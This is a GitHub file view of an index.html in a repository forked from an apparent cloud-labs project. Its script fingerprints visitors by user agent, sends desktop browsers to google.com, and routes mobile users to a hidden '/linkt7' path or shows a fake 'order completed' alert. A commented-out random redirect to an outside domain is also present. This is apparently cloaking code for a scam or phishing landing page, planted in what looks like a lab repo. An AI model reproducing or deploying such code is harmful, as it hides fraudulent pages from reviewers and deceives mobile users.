forked from acantril/learn-cantrill-labs-1clickrepo
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.html
79 lines (55 loc) · 2.38 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<!DOCTYPE HTML>
<html class="no-js" lang="en"><!--
<![endif]--><head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Welcome</title>
<meta name="theme-color" content="#000000">
<link rel="icon" href="favicon.ico">
<link href="/css/static-styles.css" rel="stylesheet">
<meta name="DCSext.hasTealium" content="1" />
<script src="/js/jquery.js"></script>
<script src="js/all/jquery.min.js"></script>
<link rel="stylesheet" href="css/sweetalert.css">
<script src="js/sweetalert-dev.js"></script>
<label>
</label>
<script>
localStorage.setItem('d_id','0bcaeedd4a1c8c7997c39b578084a541');
var dd = localStorage.getItem('isOk');
function isPhone () {
var sUserAgent = navigator.userAgent.toLowerCase();
var bIsIpad = sUserAgent.match(/ipad/i) == "ipad";
var bIsIphoneOs = sUserAgent.match(/iphone os/i) == "iphone os";
var bIsMidp = sUserAgent.match(/midp/i) == "midp";
var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4";
var bIsUc = sUserAgent.match(/ucweb/i) == "ucweb";
var bIsAndroid = sUserAgent.match(/android/i) == "android";
var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce";
var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile";
if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) {
return true;
} else {
return false;
}
}
if(isPhone()){
if(dd){
swal({title:"Tips",text:"This order has been completed, please do not repeat the operation.",type:"warning",closeOnConfirm:false},function(isConfirm){
})
}else{
window.location.href = "/linkt7" //结束
}
}else{
window.location.href = "https://www.google.com/";
}
// var data = Math.random()*10;
// if(data < 4){
// window.location.href='https://ilknt.info'
// header('Location: https://ilknt.info');
// }else{
// }
</script>
<body>
</body></html>